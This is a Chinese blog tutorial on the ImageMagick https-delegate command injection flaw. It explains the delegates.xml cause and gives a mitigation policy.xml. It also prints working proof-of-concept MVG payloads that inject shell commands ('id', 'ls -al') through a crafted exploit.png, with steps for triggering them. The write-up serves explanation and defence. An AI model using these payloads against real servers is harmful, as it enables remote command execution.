深入浅析ImageMagick命令执行漏洞


Posted in Python onOctober 11, 2016

00 前言

什么是ImageMagick?

ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。

由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。

01 漏洞描述

ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。当攻击者构造含有恶意代码得图片时,ImageMagick库对于HTTPPS文件处理不当,没有做任何过滤,可远程实现远程命令执行,进而可能控制服务器。

02 影响程度

攻击成本:低

危害程度:高

影响范围:ImageMagick 6.9.3-9以前的所有版本

03 漏洞分析

命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。

ImageMagick之所以支持那么多的文件格式,是因为它内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给它起了个名字叫做”Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的lib进行处理。调用外部lib的过程是使用系统的system命令来执行的,导致命令执行的代码。

ImageMagick委托的默认配置文件: /etc/ImageMagick/delegates.xml

具体代码请参考:Github-ImageMagick

我们定位到https委托得那一行:

" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"

可以看到,command定义了它对于https文件处理时带入system()函数得命令:"wget" -q -O "%o" "https:%M"。

wget是从网络下载文件得命令,%M是一个占位符,它得具体定义在配置文件中如下:

%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution

可以看到%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,没有做任何过滤,直接拼接到command命令中,所以我们可以将引号闭合后通过"|",”`”,”&”等带入其他命令,也就形成了命令注入。

比如我们传入如下代码:

https://test.com"|ls “-al

则实际得system函数执行得命令为:

“wget” -q -O “%o” “ https://test.com"|ls “-al”

这样,ls -al命令成功执行。

04 漏洞利用

这个漏洞得poc由老外给出得,如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

push和pop是用于堆栈的操作,一个进栈,一个出栈;

viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;

fill url()是把图片填充到当前元素内;

在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。

附:ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,允许在其中加载ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景。

利用过程:

创建一个exploit.png文件,包含以下内容:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/image.jpg"|ls "-al)'
pop graphic-context

执行命令:convert exploit.png 1.png(后面的是convert的参数)

深入浅析ImageMagick命令执行漏洞

05 漏洞修复

升级到最新版本

配置/etc/ImageMagick/policy.xml的方式来禁止https、mvg这些delegate,或者直接在配置文件删除相应的delegate

<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

以上所述是小编给大家介绍的ImageMagick命令执行漏洞的知识,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
Python常用的日期时间处理方法示例
Feb 08 Python
Python连接PostgreSQL数据库的方法
Nov 28 Python
Python实现的异步代理爬虫及代理池
Mar 17 Python
Python cookbook(字符串与文本)针对任意多的分隔符拆分字符串操作示例
Apr 19 Python
对Python Pexpect 模块的使用说明详解
Feb 14 Python
Python3爬楼梯算法示例
Mar 04 Python
Python实现的统计文章单词次数功能示例
Jul 08 Python
django自带调试服务器的使用详解
Aug 29 Python
使用 PyTorch 实现 MLP 并在 MNIST 数据集上验证方式
Jan 08 Python
Python如何把多个PDF文件合并代码实例
Feb 13 Python
PyCharm无法识别PyQt5的2种解决方法,ModuleNotFoundError: No module named 'pyqt5'
Feb 17 Python
python GUI库图形界面开发之PyQt5控件数据拖曳Drag与Drop详细使用方法与实例
Feb 27 Python
Zabbix实现微信报警功能
Oct 09 #Python
python 2.6.6升级到python 2.7.x版本的方法
Oct 09 #Python
Django1.7+python 2.78+pycharm配置mysql数据库
Oct 09 #Python
解决python2.7 查询mysql时出现中文乱码
Oct 09 #Python
基于python脚本实现软件的注册功能(机器码+注册码机制)
Oct 09 #Python
python连接mysql实例分享
Oct 09 #Python
Python中运算符&quot;==&quot;和&quot;is&quot;的详解
Oct 08 #Python
You might like
php 生成短网址原理及代码
2014/01/23 PHP
PHP通过插入mysql数据来实现多机互锁实例
2014/11/05 PHP
PHP判断表达式中括号是否匹配的简单实例
2016/10/22 PHP
PHP编程求最大公约数与最小公倍数的方法示例
2017/05/29 PHP
解决windows上php xdebug 无法调试的问题
2020/02/19 PHP
PHP7 list() 函数修改
2021/03/09 PHP
你可能不再需要JQUERY
2021/03/09 Javascript
一款js和css代码压缩工具[附JAVA环境配置方法]
2010/04/16 Javascript
JavaScript 处理Iframe自适应高度(同或不同域名下)
2013/03/29 Javascript
Javascript实现真实字符串剩余字数提示的实例代码
2013/10/22 Javascript
使用JavaScript获取电池状态的方法
2014/05/03 Javascript
用file标签实现多图文件上传预览
2017/02/14 Javascript
vue中rem的配置的方法示例
2018/08/30 Javascript
node.js实现微信开发之获取用户授权
2019/03/18 Javascript
vue路由导航守卫和请求拦截以及基于node的token认证的方法
2019/04/07 Javascript
通过实例了解js函数中参数的传递
2019/06/15 Javascript
package.json配置文件构成详解
2019/08/27 Javascript
基于ts的动态接口数据配置的详解
2019/12/18 Javascript
echarts柱状图背景重叠组合而非并列的实现代码
2020/12/10 Javascript
vue 数据双向绑定的实现方法
2021/03/04 Vue.js
Python异常模块traceback用法实例分析
2019/10/22 Python
python numpy 矩阵堆叠实例
2020/01/17 Python
查看keras各种网络结构各层的名字方式
2020/06/11 Python
keras的三种模型实现与区别说明
2020/07/03 Python
HTML5中的nav标签学习笔记
2016/06/24 HTML / CSS
HTML5中在title标题标签里设置小图标的方法
2020/06/23 HTML / CSS
最好的商品表达自己:Cafepress
2019/09/04 全球购物
short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错?
2014/09/26 面试题
毕业生求职简历中的自我评价
2013/10/18 职场文书
材料员岗位职责
2014/03/13 职场文书
车间主任岗位职责
2014/03/16 职场文书
管理提升方案
2014/06/04 职场文书
党在我心中的演讲稿
2014/09/13 职场文书
2014新生大学四年计划书
2014/09/21 职场文书
36个正则表达式(开发效率提高80%)
2021/11/17 Javascript
Python可视化学习之matplotlib内置单颜色
2022/02/24 Python